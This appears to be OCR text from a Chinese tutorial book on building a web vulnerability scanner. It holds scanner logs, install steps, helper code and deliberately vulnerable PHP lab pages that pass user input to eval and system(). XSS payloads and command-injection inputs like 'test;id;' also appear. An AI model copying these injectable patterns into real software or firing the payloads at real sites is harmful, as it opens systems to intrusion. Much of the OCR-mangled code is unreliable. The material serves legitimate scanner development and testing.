2017-02-11 20:02:24, 375:F ingerScan. scan_f inger. 61 - http
2017-02-11 20:02:24, 99:FingerScan. scan_finger. 81 - http
2:25, 688:FingerScan. scan_finger. 81 - http.
2017-02-11 20:02:26,507:FingerScan. scan_finger. 81 - http
2017-02-11 20:02:27, 327:FingerScan. scan_finger. 81 ~ htto: /e
TScannar:2017-02-11 20:02:78. 147:FingarScan. scan finger. 81 - sl meb. c
2017-02-11 20:03:55, 715:crawier.oranl.259 — Already Send Roqs:10 Left Reqs:16
2017-02-11 20:03:56, 719:crawler. crawl. 227 ~ GET Request:http://testphp. vulnweb. con/dwt. php
2017-02-11 20:03:57, 540:crawler. crawl. 227 ~ GET Request:http://testphp. vulnweb. con/disc|aimer. php
2017-02-11 20:03:58, 172:crawler. crawl. 253 — Already Send Reqs:12 Left Reqs:14
GET http://testphp. vulnweb. com/signup. php HTTP/1.1
bost: testphp. vulnweb. com
JUser-Agent: TScanner/1.0

.
.
wen
.

TScanner :2017-02-11 20:06:05,534:5ql. check. 51 — EZ#MBIFRBFESILENRE

[TScanner :2017-02-11 20:06:05, 534: xss. check. 36 — EZERMEIRRBFLEXSSERA.

TScanner :2017-02-11 20:06:05, 535:cmd. check, 37 - EZMMNEFREFEDSRITRE

[TScanner :2017-02-11 20:06:05, 536: Ii. check, 35 - EEMMNEHREFEXHELRR

[TScanner :2017-02-11 20:06:05, 536:di rectory. check. 49 ~ EZEKMNEFREFEDi rectory B RFIERA
JPOST http: //testphp. vulnweb. con/user info. php HTTP/1.1

Host: testphp. vulnweb. com

user-Agent: TScanner/1.0

Juname=tscanner&pass=abc123456

[TScanner :2017-02-11 20:06:06, 166:sql. check. 51 ~ EZERMEHFREFESILINTR

[TScanner:2017-02-11 20:06:55, 094: xss. check. 36 ~ EZEKMEAFREFLEXSSH L

[TScanner :2017-02-11 20:06:57, 081 :omd. check. 37 - EERMEHFREFENSHITRA

TScanner :2017-02-11 20:21:20, 449:directory. check, 49 — EZEM BB ETFED| rectory BRIINERF

[TScanner :2017-02-11 20:21:21, 269:f1ash_crossdomain. check. 54 ~ IEZEMM B4R BE L : [crossdoma in. xml STHHE M4
[TScanner : 2017-02 20 21,984:flash_crossdomain. check. 69 — £IVMIE :crossdomain. xm| SLHAEMA Y |http://176. 28, 50. 165:80/crossd|
Jomaiin. xm|

TScanner :2017-02-11 20:21:21,984: i is_enumerat ion. check. 51 ~ IEZEMRMEIFREFLE: (1| SEICH S HAMR)

[TScanner :2017-02-11 20:21:25, 160: openss | _heartbleed. check. 84 — IEZEHI 176.28. 50, 165:80 & F#openss | i
[TScanner:2017-02-11 20:21:25, 168:tcore. update_scan_status. 107 ~ MATIIHHHERF J5:100%
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wget http://sourceforge.net/projects/pyqgt/files/sip/sip-4.18/sip-4.18.tar.gz
tar -zxvf sip-4.18.tar.gz

cd sip-4.18

python configure.py

make && make install
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#coding=utf-8

HtmlParser.py

[ AL |

import re

from lxml import etree

from teye web.http.URL import URL

from teye web.http.Request import Request

from teye web.util.smart fill import smart fill
import teye web.http.postdata as postdata
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LR T
758 test<script>alert(/anquanbao/);</script>
Y52 test"><script>alert(/anquanbao/);</script>

W53

test';</script><script>alert(/anquanbao/)</script>//
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#crawl website & audit request
self.scan web(target)
self.scan poc(target)





OEBPS/Image00030.jpg
Running setup.py install for psutil

building 'psutil._psutil_linux' extension

x86_64-1inux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -02 -Wall -Wstrict-prototypes -fno-str
ict-aliasing -D_FORTIFY_SOURCE=2 -g -fstack-protector-strong -Wformat -Werror=format-securit|
y -fPIC -DPSUTIL_VERSION=430 -I/usr/include/python2.7 -c psutil/_psutil_linux.c -o build/tem|
p.linux-x86_64-2.7/psutil/_psutil_linux.o

x86_64-1linux-gnu-gcc -pthread -shared -Wl,-01 -Wl,-Bsymbolic-functions -Wl,-z, relro -fno
-strict-aliasing -DNDEBUG -g -fwrapv -02 -Wall -Wstrict-prototypes -D_FORTIFY_SOURCE=2 -g -f
stack-protector-strong -Wformat -Werror=format-security -Wl,-z,relro -D_FORTIFY_SOURCE=2 -g
- fstack-protector-strong -Wformat -Werror=format-security build/temp.linux-x86_64-2.7/psutil|
/_psutil_linux.o -o build/lib.linux-x86_64-2.7/psutil/_psutil_linux.so

building 'psutil._psutil_posix' extension

x86_64-1inux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -02 -Wall -Wstrict-prototypes -fno-str
ict-aliasing -D_FORTIFY_SOURCE=2 -g -fstack-protector-strong -Wformat -Werror=format-securit|
y -fPIC -I/usr/include/python2.7 -c psutil/_psutil_posix.c -o build/temp.linux-x86_64-2.7/ps
util/_psutil_posix.o

x86_64-1inux-gnu-gcc -pthread -shared -Wl,-01 -Wl,-Bsymbolic-functions -Wl,-z,relro -fno|
-strict-aliasing -DNDEBUG -g -fwrapv -02 -Wall -Wstrict-prototypes -D_FORTIFY_SOURCE=2 -g -f]
stack-protector-strong -Wformat -Werror=format-security -Wl,-z, relro -D_FORTIFY_SOURCE=2 -g
- fstack-protector-strong -Wformat -Werror=format-security build/temp.linux-x86_64-2.7/psutil
/_psutil_posix.o -o build/lib.linux-x86_64-2.7/psutil/_psutil_posix.so

-included files matching '*' found under directory 'docs/_build'
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test.py

T

@profile

def test():
g = [l
for i in xrange (0,10) :

a.append (i)

if name ==" main

test ()
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sudo pip install pybloomfiltermmap
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pip install redis
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sudo python setup.py install
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<?php

Svar = "anquanbao";
Scontent = $§ GET["data"];
eval ("\$var=$content;") ;
echo S$var;

2>
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imiyoo@debian:~$ Redis-server &
[1] 2658@

imiyoo@debian:~$ 26580:C 11 Apr 23:50:21.269 # Warning: no config file specified, using the default config. In order to sped
onfig file use redis-server /path/to/redis.conf

Redis 3.2.6 (00000000/0) 64 bit
Running in standalone mode

Port: 6379
PID: 26580

http://redis.io
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#coding=utf-8
from pybloomfilter import BloomFilter

bf = BloomFilter (10000000, 0.01, 'filter.bloom')

el lidsie=(

'http://www.anquanbao.com/1.php',
'http://www.anquanbao.com/2.php',
'http://www.anquanbao.com/3.php',
'http://www.anquanbao.com/1.php']

#ORTE 25 55 (8

result = []

ione whell dim whell JnSiES

I feneot bisaddi(urly):
result.append (url)

print "ZHEATHIHIE: v

joueitmie. wiel ILidgie

print "ERHEGHHE:

print result
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murHash3. o

x86_64-1linux-gnu-gcc -pthread -DNDEBUG -g -fwrapv -02 -Wall -Wstrict-prototypes -fno-str
ict-aliasing -D_FORTIFY_SOURCE=2 -g -fstack-protector-strong -Wformat -Werror=format-securit
y -fPIC -I/usr/include/python2.7 -c src/pybloomfilter.c -o build/temp.linux-x86_64-2.7/src/p|
ybloomfilter.o

In file included from src/pybloomfilter.c:252:0:

/usr/include/python2.7/pythread.h:5:1: warning: ‘always_inline’ attribute ignored [-Watt
ributes]

typedef void *PyThread_type_lock;

A

src/pybloomfilter.c:743:1: warning: function declaration isn’t a prototype [-Wstrict-pro

totypes]
__PYX_EXTERN_C DL_IMPORT(int) errno;

A

x86_64-1linux-gnu-gcc -pthread -shared -Wl,-01 -Wl,-Bsymbolic-functions -Wl,-z, relro -fno
-strict-aliasing -DNDEBUG -g -fwrapv -02 -Wall -Wstrict-prototypes -D_FORTIFY_SOURCE=2 -g -fj
stack-protector-strong -Wformat -Werror=format-security -Wl,-z,relro -D_FORTIFY_SOURCE=2 -g
-fstack-protector-strong -Wformat -Werror=format-security build/temp.linux-x86_64-2.7/src/mm|
apbitarray.o build/temp.linux-x86_64-2.7/src/bloomfilter.o build/temp.linux-x86_64-2.7/src/m|
d5.0 build/temp.linux-x86_64-2.7/src/primetester.o build/temp.linux-x86_64-2.7/src/MurmurHas
h3.0 build/temp.linux-x86_64-2.7/src/pybloomfilter.o -lcrypto -o build/lib.linux-x86_64-2.7/
pybloomfilter.so
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imiyoo@debian:~$ python
Python 2.7.9 (default, Mar 1 2015, 12:57:24)
[GCC 4.9.2] on linux2

Type "help”, "copyright", "credits" or "license" for more information.

>>>
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imiyoo: /workplace/tscanner$ nosetests tests/test_common_vuln.py:test_xss —s

Fuzz Name:data

XSS Vuln jEURL: http://192. 168. 126. 143/book/xss/1_xss. php, iffiEE ¥ data

Fuzz Name:data

XSS Vuln J@IEURL: http://192. 168. 126. 143/book/xss/2_xss. php, imiaE#data

Fuzz Name:data

XSS Vuln j@EURL: http://192. 168. 126. 143/book/xss/3_xss. php, imiEEHdata

{u'192.168.126.143': {'teye_xss_plugin': {'xss': [<vuln object: "XSS Vuln">, <vuln object: "XSS Vuln">, <vuln
object: "XSS Vuln">]}}}

Ran 1 test in 0.126s

0K
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charmProjects/untitled|

Cuntitled )

» i External Libraries






OEBPS/Image00352.jpg
%351 PENEEN] it 2R ikt ivdas
GET - Erroneous 500 Responses(18) 3
R GET - Erroneous 200 Responses(18) 3
SQL iEA 62
GET - 200 Responses With Differentiation(18) 3
GET - Identical 200 Responses(8) 0
B GET - RXSS(32) 9
A XSS 43
_ GET - RXSS(11) 0
E[Ed
GET-Erroneous HTTP 500 Responses(68) 68
GET-Erroneous HTTP 404 Responses(68) 68
H %3 JJj A 3 52 | GET-Erroneous HTTP 200 Responses(68) 68
408
s GET-HTTP 302 Redirect Responses(68) 68
GET-HTTP 200 Responses With Differentiation(68) 68
GET-HTTP 200 Responses With Default File on Error(68) 68
SQL 7 EA GET - SQL(10) 10 0
R St XSS GET -RXSS (7) 7 3
A GET - LFI(8) 8 0
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cd /var/lib/tomcat8/webapps/
git clone https://github.com/sectooladdict/Wavsep
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E-E il REFHR REAR
k-5 username,user,userid,nickname,name Tscanner
G password,pass,passwd abc123456
e #E mail,email,usermail test@watscan.com
FHL Mobile 13800000000
g content,text,query,search,data,comment this is just for a test!
W4 domain,website www.test.com
[ 1k url,link http://www.test.com
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test;id; B test]|id;
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Evaluation of Web Application Scanners Detection Accuracy - Iceweasel

/ Evaluation of Web Appli... % | 4

€ ) @127.0.0.1:8080/ NebContent

vellaeE

Welcome to WAVSEP - The Web Application Vulnerability Scanner Evaluation Project

Version: 1.5

The index page of the project intentionally lacks links and forms.
Please access the following index pages to perform specific tests:

index-active. jsp index-passive. jsp
active/index-xss. jsp passive/index-info. jsp
active/index-sql passive/index-session. jsp
active/index-1fi. js)
active/index-rfi. jsp
active/index-redirect. jsp
active/index-obsolete. jsp
active/index-false. jsp

Notes
Make sure you install the database using the auto-installer,

and according to the instructions provided at the WAVSEP Google Code home page.

Known Issues

e & &

Previous versions of wavsep might require the web server to run with admin/root permissions (for the database inmstallation script),

due to the usage of a derby database created in a default location.
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Tag URL:

http://Inmp. org:80

http://www. vpser. net:80

http://www. vpser. net:80/usa-vps/
http://192. 168. 126. 147:80/phpinfo. php
http://192. 168. 126. 147:80/ Inmp. gi f
http://192. 168. 126. 147:80/p. php
http://www. vpser. net:80/vps—howto/
http://|nmp. org:80

http://bbs. vpser. net:80/forum—25-1. html
http://192. 168. 126. 147:80/phpmyadmin/
http://blog. | icess. com:80/
http://Inmp. org:80

Ran 1 test in 0.027s

0K
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<?php

Scontent = § GET["data"];
echo "<pre>";

system("ls -al".S$content) ;
echo "</pre>";

2>
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sudo apt-get install tomcat8
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'this is just for a test':['content', 'text', 'query', 'search','data', 'comment'],
'www.test.com':['domain'],

'http://www.test.com':['link"', 'url', 'website']

}

def smart fill( variable name ):
T

variable name = variable name.lower ()
flag = False
for filled value, variable name list in form name kb.items() :
for variable name db in variable name list:
if variable name db == variable name:
flag = True
retuen Ellliliedivailine
qaf nee Elags
msg

'[smart fill] Failed to find a value for parameter with name "'
msg t= variablie name & WU

log.debug ( msg )

return 'UNKNOWN'

if _name =="_main_ ":

print Musername=ss'Ssismart fillN(Wisername)
print "password=%s" % smart fill ("password")
print "domain=%s" % smart fill ("domain")
print "email=%s" % smart fill ("email")

print Mcontent=ssssmart N F (Y content !ty
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<?php
Scontent

$ GET["data"];

system("curl '".S$content."' -o 1.txt");
?>
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) ) H)

t -Werror=format-security -fPIC -DHAVE_SEM_OPEN=1 -DHAVE_FD_TRANSFER=1 -DHAVE_SE
M_TIMEDWAIT=1 -IModules/_billiard -I/usr/include/python2.7 -c Modules/_billiard/
semaphore.c -o build/temp.linux-x86_64-2.7/Modules/_billiard/semaphore.o

x86_64-1inux-gnu-gcc -pthread -shared -Wl,-01 -Wl,-Bsymbolic-functions -WL, -
z, relro -fno-strict-aliasing -DNDEBUG -g -fwrapv -02 -Wall -Wstrict-prototypes -
D_FORTIFY_SOURCE=2 -g -fstack-protector-strong -Wformat -Werror=format-security
-Wl,-z, relro -D_FORTIFY_SOURCE=2 -g -fstack-protector-strong -Wformat -Werror=fo
rmat-security build/temp.linux-x86_64-2.7/Modules/_billiard/multiprocessing.o bul
ild/temp.linux-x86_64-2.7/Modules/_billiard/semaphore.o -1lrt -o build/lib.linux-
x86_64-2.7/_billiard.so

warning: no files found matching '*.py' under directory 'Lib'

warning: files found matching '*.py' under directory 'funtests'

warning: previously-included files matching '*' found under directory 'do|
cs/_build’

warning: no previously-included files matching '__pycache__' found under dir
ectory '*'

warning: no previously-included files matching '*.py[co]' found under direct
ory '*'

warning: no previously-included files matching

()

.*.sw*' found under director]

Successfully installed celery billiard pytz kombu amqp vine
Cleaning up...
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sudo apt-get install mysgl-server-5.5
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#coding=utf-8

STakEE NN oy

form name kb = {
'tscannner': ['username', 'user', 'userid', 'nickname', 'name'],
'abcl23456': [ 'password', "pass', 'pwd'],
'test@watscan.com':['email', 'mail', 'usermail'],
'13800000000"': ['mobile'],
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Iceweasel

/http:lllo(al,.,ata=test:id; *\'.'

( € ) @ localhost/book/cmd/1_cmd.php?data=test;id;

ve|[aak

B ¢ & =

test;id;

|uid=1002 () gid=1002(www) groups=1802(ww:) |
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git clone https://github.com/axiak/pybloomfiltermmap
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Iceweasel

http://loca...t%27;id;%27 % | 4

( € ) @ localhost/book/cmd/2_cmd.php?data=test’id;’

ve|[agz

v a & &=

curl 'test';id;"" -0 1.tx|uid=1002(www) gid=1002(www) groups=1002(www) I






OEBPS/Image00359.jpg
redis-server &
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imiyoo@debian:/home/imiyoo

XCHHF) GREE(E) EAR(V) JRAR(S) Lug(T) #EHH)

imiyoo@debian:™$ java -version

java version "1.7.0_79"

PDava(TM) SE Runtime Environment (build 1.7.8_79-b15)

Java HotSpot(TM) 64-Bit Server VM (build 24.79-b82, mixed mode)
imiyoo@debian:™$
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imiyoo: /workplace/tscanner/teye_web/util$ python smart_fill.py

usrname=tscanner
password=abc123456

doma i n=www. test. com

emai |=test@watscan. com
content=Just For A Test!
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wget http://download.redis.io/releases/redis-3.2.6.tar.gz
tar -zxvf redis-3.2.6.tar.gz

cd redis-3.2.6

make && make install
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QtCore

QtNetwork

Qtsql

QtWebKit

phonon

QtDesigner

QtOpenGL

QtSvg

QtXml

QtMultimedia

QtScript

QtTest

QtXmlPatterns

QtAssistant
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apt-get install python-pip
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imiyoo@debian:~$ pip

Usage:
pip <command> [options]

Commands:
install
uninstall
freeze
list
show
search
wheel
zip
unzip
bundle
help

General Options:
-h, --help
-v, --verbose

-V, --version
-q, --quiet
--log-file <path>

--log <path>

--proxy <proxy>
--timeout <sec>
--exists-action <action>

--cert <path>
imiyoo@debian:~$ ||

Install packages.

Uninstall packages.

Output installed packages in requirements format.
List installed packages.

Show information about installed packages.
Search PyPI for packages.

Build wheels from your requirements.
DEPRECATED. Zip individual packages.
DEPRECATED. Unzip individual packages.
DEPRECATED. Create pybundles.

Show help for commands.

Show help.

Give more output. Option is additive, and can be used up to 3
times.

Show version and exit.

Give less output.

Path to a verbose non-appending log, that only logs failures. This
log is active by default at /home/imiyoo/.pip/pip.log.

Path to a verbose appending log. This log is inactive by default.
Specify a proxy in the form [user:passwd@]proxy.server:port.

Set the socket timeout (default 15 seconds).

Default action when a path already exists: (s)witch, (i)gnore,
(w)ipe, (b)ackup.

Path to alternate CA bundle.
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